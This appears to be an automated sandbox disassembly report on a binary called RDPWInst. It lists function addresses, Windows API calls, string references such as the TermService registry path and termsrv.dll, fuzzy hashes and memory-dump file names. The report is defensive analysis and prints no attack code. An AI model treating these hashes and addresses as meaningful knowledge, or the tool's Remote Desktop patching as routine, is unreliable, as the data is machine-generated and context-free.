Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID: $sD$%SystemRoot%\System32\termsrv.dll$ServiceDll$[-] OpenKey error (code $\SYSTEM\CurrentControlSet\Services\TermService\Parameters
API String ID: 1452528299-1418523706
Opcode ID: d2f311149e027bc2624a0d6677516fc2b3f38769c85f091cbdc9e4c4a7fc29bb
Instruction ID: 567d776bcdb317a1c07dce30fb64d79162ce412928a02d635409720c7dced6b6
Opcode Fuzzy Hash: d2f311149e027bc2624a0d6677516fc2b3f38769c85f091cbdc9e4c4a7fc29bb
Instruction Fuzzy Hash: 5E1160746042049FD700FBAAED8355AB7A5DB89318F21A07FF504AB652CA396D01972D

Function 0043B48C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 52serviceCOMMON

Download Yara Rule

APIs

CloseServiceHandle.ADVAPI32(00000000,00000000,0043B52C,?,00000000,?,?,0043B6A3,?,00000000,00000000,?,00000000,00000000,00000010,00000000), ref: 0043B4BC
CloseServiceHandle.ADVAPI32(00000000,00000000,0043B52C,?,00000000,?,?,0043B6A3,?,00000000,00000000,?,00000000,00000000,00000010,00000000), ref: 0043B4D1

Strings

$sD, xrefs: 0043B4DC
error (code , xrefs: 0043B4F3
[-] , xrefs: 0043B4E1

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseHandleService
String ID: error (code $$sD$[-]
API String ID: 1725840886-1845222458
Opcode ID: cf70b5b7ebfe22217b52877715410a6f055c53433fc66062313880689f831c28
Instruction ID: e4f6fbb8d87d745fddbbf3aa76ef7c2d42e102f771b0e90c1d198fe2bf5ce7b8
Opcode Fuzzy Hash: cf70b5b7ebfe22217b52877715410a6f055c53433fc66062313880689f831c28
Instruction Fuzzy Hash: 411165B4604204AFD700FBA5C946A5EBBE9EF8C309F51807AF504DB652C738AE409A6D

Function 0041EFE0 Relevance: 7.8, APIs: 5, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd1bd09856875484954c00905d9deca0163cdd4237c815e7c02b6f8489ed4b52
Instruction ID: 2dafaf7b7fd63d2285bbc883fb865dc5d4a09b7d21a303d5748d7aa51e2b097e
Opcode Fuzzy Hash: bd1bd09856875484954c00905d9deca0163cdd4237c815e7c02b6f8489ed4b52
Instruction Fuzzy Hash: 33D18035E042599BCF10DBA9C4818FEB7B9EF49704B5080B7EC51A7251D738AD8BCB29

Function 0042E0CC Relevance: 7.6, APIs: 5, Instructions: 142COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,00000000,0042E26E), ref: 0042E12C
CharNextW.USER32(?,?,00000000,0042E26E), ref: 0042E1D4
CharNextW.USER32(?,?,00000000,0042E26E), ref: 0042E1F9
CharNextW.USER32(00000000,?,?,00000000,0042E26E), ref: 0042E211

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: 7217fcbca270de98ef8b4b4e8b85cbbd9122b6aa6dc92a8c6271a0bfb5eea1bb
Instruction ID: 1814d07402b1a7f57a8d7a3fe8506fdc05c33e5c0032e5bf9772b1ea290cc636
Opcode Fuzzy Hash: 7217fcbca270de98ef8b4b4e8b85cbbd9122b6aa6dc92a8c6271a0bfb5eea1bb
Instruction Fuzzy Hash: D5516D30B00624DFDF15EF6AD890A697BB5EF06304F8100E6E401DB3A5D778AD92CB5A

Function 00412EDC Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,00412F73,?,?,00000000), ref: 00412EF4

Part of subcall function 00412C4C: GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 00412C6A

GetThreadLocale.KERNEL32(00000000,00000004,00000000,00412F73,?,?,00000000), ref: 00412F24
EnumCalendarInfoW.KERNEL32(Function_00012E28,00000000,00000000,00000004,00000000,00412F73,?,?,00000000), ref: 00412F2F
GetThreadLocale.KERNEL32(00000000,00000003,Function_00012E28,00000000,00000000,00000004,00000000,00412F73,?,?,00000000), ref: 00412F4D
EnumCalendarInfoW.KERNEL32(Function_00012E64,00000000,00000000,00000003,Function_00012E28,00000000,00000000,00000004,00000000,00412F73,?,?,00000000), ref: 00412F58

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 55eda0c8fa878099e478bf73f67320f830a82478ca3254b52692bae57d1b1ada
Instruction ID: 92d88662b64aaf91616c62fb6041fad244e46e3b41fee23c13374d6d2d88cd2b
Opcode Fuzzy Hash: 55eda0c8fa878099e478bf73f67320f830a82478ca3254b52692bae57d1b1ada
Instruction Fuzzy Hash: 930142713007046BE301A6B1CE13F9A726CEB82718F610437F100F66C1D6BCAE2192AD

Function 00412F90 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 177threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,004131C3,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412FCB

Part of subcall function 00412C4C: GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 00412C6A

Strings

ggg, xrefs: 004130EA
yyyy, xrefs: 004130FA
eeee, xrefs: 00413116

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: f0e1bd095bade663e8df46e19b5da6729160b75494cb6633c971c77849839ccd
Instruction ID: b43ca61d4524358572b11bc7e7a437c5213401559800a2754e6fdc13831cf262
Opcode Fuzzy Hash: f0e1bd095bade663e8df46e19b5da6729160b75494cb6633c971c77849839ccd
Instruction Fuzzy Hash: 97519835B00105ABDB10EF69C8425DEB7B5EF84305B21807BA401E73AADB7CDF92965D

Function 00412D02 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 107threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,00412E17,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412D20

Strings

`\D, xrefs: 00412DAD
0\D, xrefs: 00412D61
|\D, xrefs: 00412DD2

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: LocaleThread
String ID: 0\D$`\D$|\D
API String ID: 635194068-1443555069
Opcode ID: 0cc7b5f362df3f3b22b96f6267770b75cfda245be271edcbb912247af85876fd
Instruction ID: 0f9472f532bfb6d97ff063cc401fba787666d5dde08e68930300e7878c0b733c
Opcode Fuzzy Hash: 0cc7b5f362df3f3b22b96f6267770b75cfda245be271edcbb912247af85876fd
Instruction Fuzzy Hash: 0831E871F006086BDB04DA55D891BAF73B9DB88314F65803BFA05E7382D67CED5183A8

Function 00412D04 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 106threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,00412E17,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412D20

Strings

`\D, xrefs: 00412DAD
0\D, xrefs: 00412D61
|\D, xrefs: 00412DD2

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: LocaleThread
String ID: 0\D$`\D$|\D
API String ID: 635194068-1443555069
Opcode ID: c41b53ad99340a58dd1ea3df1ca7b54c87d2f8ec0189060bbe7d6b41ea99f8a8
Instruction ID: e329392f02449b06687ba54e558461cdf4d213220e6431f4601da2913400d418
Opcode Fuzzy Hash: c41b53ad99340a58dd1ea3df1ca7b54c87d2f8ec0189060bbe7d6b41ea99f8a8
Instruction Fuzzy Hash: A631E871F006086BDB04DA45D891BAF73B9DB88314F65803BFA05E7382D67CED5183A8

Function 004114A4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 80threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,00411595), ref: 0041152C
GetDateFormatW.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,00411595), ref: 00411532

Strings

yyyy, xrefs: 00411507
, xrefs: 004114F8

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: DateFormatLocaleThread
String ID: $yyyy
API String ID: 3303714858-404527807
Opcode ID: 5e56a81e6ec8d75afdc6e5fb3bd2dd6b96c822b9e08f0a8d12efe2345fd405b1
Instruction ID: 4e3523b49621e94f0abc5fe99f3e528012799777c4c12a7b6b737367db96c017
Opcode Fuzzy Hash: 5e56a81e6ec8d75afdc6e5fb3bd2dd6b96c822b9e08f0a8d12efe2345fd405b1
Instruction Fuzzy Hash: 8F219531A00118ABD710EF55C941AEEB3FAEF48300F514077F905E72A1D6389E40C7A9

Function 0043C45C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 59COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000200,00000000,0043C52D,?,00447324,?,0043F7DC,00000000,0043FAEE,?,?,?,00447324), ref: 0043C4F1

Strings

%ProgramW6432%, xrefs: 0043C4BC
%ProgramFiles%, xrefs: 0043C4C1
$sD, xrefs: 0043C473, 0043C4E8, 0043C524, 0043C4C6, 0043C4D4

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: $sD$%ProgramFiles%$%ProgramW6432%
API String ID: 237503144-3145546840
Opcode ID: c5f063dfebfa4231b205ec39474c4c55e757e18b534536750d11f4516631b0cd
Instruction ID: dfc59d650baf98a512f6366ea296a42dbe4730e7440a0cbc8b484aecff229b80
Opcode Fuzzy Hash: c5f063dfebfa4231b205ec39474c4c55e757e18b534536750d11f4516631b0cd
Instruction Fuzzy Hash: 411184B0604168ABD714EB65CD92A9DB7B9DB48304F5140BBA205F3292DB38EE558B1C

Function 0040AEAC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00400000,CHARTABLE,0000000A,?,?,0040ADC8,?,0040EE39,00000000,0040EF55), ref: 0040AEC0
LoadResource.KERNEL32(00400000,00000000,00400000,CHARTABLE,0000000A,?,?,0040ADC8,?,0040EE39,00000000,0040EF55), ref: 0040AED7
LockResource.KERNEL32(00000000,00400000,00000000,00400000,CHARTABLE,0000000A,?,?,0040ADC8,?,0040EE39,00000000,0040EF55), ref: 0040AEE8

Part of subcall function 00415A68: GetLastError.KERNEL32(0040AEF9,00000000,00400000,00000000,00400000,CHARTABLE,0000000A,?,?,0040ADC8,?,0040EE39,00000000,0040EF55), ref: 00415A68

Strings

CHARTABLE, xrefs: 0040AEB5

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Resource$ErrorFindLastLoadLock
String ID: CHARTABLE
API String ID: 1074440638-2668339182
Opcode ID: 2576ac7df62392cdd79f5341252eb240a6292d2d2deea21fb17a0e0107b6f450
Instruction ID: 0ebed5ed6e5dda7701dd75a560580c35c1b3b1e5272f816bd12d169416f3b400
Opcode Fuzzy Hash: 2576ac7df62392cdd79f5341252eb240a6292d2d2deea21fb17a0e0107b6f450
Instruction Fuzzy Hash: 4E0180B87803018FC718EF59D8D1A9A73E9AB99320709453EE241577A1CF3C9C40DB59

Function 00419584 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 00419633
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0041964F
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 004196C6
VariantClear.OLEAUT32(?), ref: 004196EF

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: 0f680bb846408bca051d329f0f9141866d040382b2d86f627a051af50f217def
Instruction ID: d3a60771d8c98d42dda0da8010ad17e71a6e6e293320ab5b6f42a6f3f22a61d9
Opcode Fuzzy Hash: 0f680bb846408bca051d329f0f9141866d040382b2d86f627a051af50f217def
Instruction Fuzzy Hash: F7410D75A0061D9FCB61DF59CC90BD9B3FCAB48314F0055DAE549A7212DA38AFC18F64

Function 0041325C Relevance: 6.1, APIs: 4, Instructions: 113COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C,00000000,00413408), ref: 0041328F
GetModuleFileNameW.KERNEL32(?,?,00000105), ref: 004132B3
GetModuleFileNameW.KERNEL32(00400000,?,00000105), ref: 004132CE
LoadStringW.USER32(00000000,0000FFE5,?,00000100), ref: 00413369

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: b4db8f4b60a4758e302225d89cd2c63d37b5a2fd60e804dc2dc20906c96adb53
Instruction ID: 83055b0679be0c1ffa726a7bf1997f9f19e1454b2f4a6b728642dd338ff24854
Opcode Fuzzy Hash: b4db8f4b60a4758e302225d89cd2c63d37b5a2fd60e804dc2dc20906c96adb53
Instruction Fuzzy Hash: 80412070A003589FDB20EF59CC81BCAB7B9AB49304F0040FAE508E7251DB7A9E94CF59

Function 00408B08 Relevance: 6.1, APIs: 4, Instructions: 97threadCOMMON

Download Yara Rule

APIs

GetThreadUILanguage.KERNEL32(?,00000000), ref: 00408B19
SetThreadPreferredUILanguages.KERNEL32(00000004,?,?), ref: 00408B7B
SetThreadPreferredUILanguages.KERNEL32(00000000,00000000,?), ref: 00408BD8
SetThreadPreferredUILanguages.KERNEL32(00000008,?,?), ref: 00408C0B

Part of subcall function 00408AC4: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,00000000,?,?,00408B89), ref: 00408ADB
Part of subcall function 00408AC4: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,?,00408B89), ref: 00408AF8

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Thread$LanguagesPreferred$Language
String ID:
API String ID: 2255706666-0
Opcode ID: 57ba5b2eaa9ba2f7f394178960eeeee68cc8fe68392739164dda0304afca2262
Instruction ID: ba3eb85df9a642da38a4383696d7f270617e705f6d5ccbab9dd9f20305666083
Opcode Fuzzy Hash: 57ba5b2eaa9ba2f7f394178960eeeee68cc8fe68392739164dda0304afca2262
Instruction Fuzzy Hash: 5A317C70A1021A9BDB00DFE9C885AAEB3B5FF44304F00457AE991E72D1DB78AE44CB58

Function 0042FB48 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00400000,00000000,?,00425E1C,00400000,00000001,00000000,?,0042FA36,00000000,0044BFA8,?,0044BFA8,00000000,?,0043CEE1), ref: 0042FB5F
LoadResource.KERNEL32(00400000,0042FBE4,00400000,00000000,?,00425E1C,00400000,00000001,00000000,?,0042FA36,00000000,0044BFA8,?,0044BFA8,00000000), ref: 0042FB79
SizeofResource.KERNEL32(00400000,0042FBE4,00400000,0042FBE4,00400000,00000000,?,00425E1C,00400000,00000001,00000000,?,0042FA36,00000000,0044BFA8), ref: 0042FB93
LockResource.KERNEL32(0042F774,00000000,00400000,0042FBE4,00400000,0042FBE4,00400000,00000000,?,00425E1C,00400000,00000001,00000000,?,0042FA36,00000000), ref: 0042FB9D

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 6ebdd4f1cd543b76a016c77fc1286a410c61f79913e5f64509fe1404532659ad
Instruction ID: 2319d0df2cd87803d0a75df5626f4cddb48e3135002f19a9a4d545a6677a7621
Opcode Fuzzy Hash: 6ebdd4f1cd543b76a016c77fc1286a410c61f79913e5f64509fe1404532659ad
Instruction Fuzzy Hash: 49F06DB37012146F9745EEADA881D6B77FDEE88264390017FFA08D7202DA38ED154379

Function 0040A0E6 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00449C1C), ref: 0040A0F8
lstrcmpiA.KERNEL32(?,?), ref: 0040A10E
LeaveCriticalSection.KERNEL32(00449C1C,00449C1C), ref: 0040A143

Strings

YD, xrefs: 0040A0EE

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeavelstrcmpi
String ID: YD
API String ID: 2420758022-4277794568
